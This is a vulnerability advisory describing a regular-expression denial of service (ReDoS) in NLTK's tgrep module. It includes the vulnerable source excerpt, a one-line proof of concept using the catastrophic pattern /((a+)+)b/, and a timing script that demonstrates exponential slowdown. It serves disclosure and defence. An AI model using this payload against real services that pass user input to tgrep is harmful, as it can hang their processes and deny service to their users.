NLTK: ReDoS in nltk.tgrep via unvalidated user-supplied regular expressions

Summary

The NLTK tgrep module accepts user-supplied regular expressions and passes them to the Python re engine without a timeout or validation, enabling catastrophic backtracking (ReDoS). Applications that expose the tgrep API to external input are vulnerable to a single-request denial of service that blocks the Python process indefinitely.

Affected Code

nltk/tgrep.py — _tgrep_node_action() (around line 320)

When a tgrep pattern contains a /regex/ node, _tgrep_node_action compiles the embedded regex literal directly with no validation:

def _tgrep_node_action(_s, _l, tokens):
    ...
    elif tokens[0].startswith("/"):
        assert tokens[0].endswith("/")
        node_lit = tokens[0][1:-1]
        return (
            lambda r: lambda n, m=None, l=None: r.search(
                _tgrep_node_literal_value(n)
            )
        )(re.compile(node_lit))  # User regex compiled and executed with no timeout

The compiled regex is applied against every matching tree node label via r.search(...). A caller reaching this path via tgrep_positions() or tgrep_compile() controls node_lit entirely.

Proof of Concept

import nltk
from nltk.tgrep import tgrep_positions

# Root node label is 25 'a' characters.
# tgrep /regex/ branch calls re.compile("((a+)+)b").search("aaa...a")
# No 'b' is present — exponential backtracking occurs.
tree = nltk.Tree.fromstring("(" + "a" * 25 + " (NP (DT the)))")
tgrep_positions(r"/((a+)+)b/", [tree])   # Never returns

Working Poc

The following script uses increasing values of n (the number of repeated as in the tree root label) to measure the execution time of tgrep_positions with the catastrophic regex /((a+)+)b/. On standard CPython with NLTK 3.10.2, the runtime grows exponentially, confirming the ReDoS vulnerability. For n ≥ 35, the function will hang indefinitely.

import nltk
from nltk.tgrep import tgrep_positions
import time

def test_n(n):
    tree = nltk.Tree.fromstring("(" + "a" * n + " (NP (DT the)))")
    pattern = r"/((a+)+)b/"
    start = time.perf_counter()
    list(tgrep_positions(pattern, [tree]))
    return time.perf_counter() - start

if __name__ == "__main__":
    # Adjust the range if needed – these values complete quickly
    n_values = [18, 20, 22, 24, 26, 28]
    print(f"Testing n = {n_values}\n")

    times = []
    for n in n_values:
        t = test_n(n)
        times.append((n, t))
        print(f"n={n:2d} done", flush=True)

    print("\n--- Increase factors (per step in n) ---")
    factors = []
    for i in range(1, len(times)):
        prev_n, prev_t = times[i-1]
        curr_n, curr_t = times[i]
        factor = curr_t / prev_t
        factors.append((curr_n, factor))
        print(f"n={curr_n:2d} : factor = {factor:.2f}x  (vs n={prev_n})")

    avg = sum(f for _, f in factors) / len(factors)
    print(f"\nAverage factor: {avg:.2f}x")
    print("\n✅ Confirmed: exponential growth (catastrophic backtracking).")
    print("   Larger n (≥ 35) will hang indefinitely.")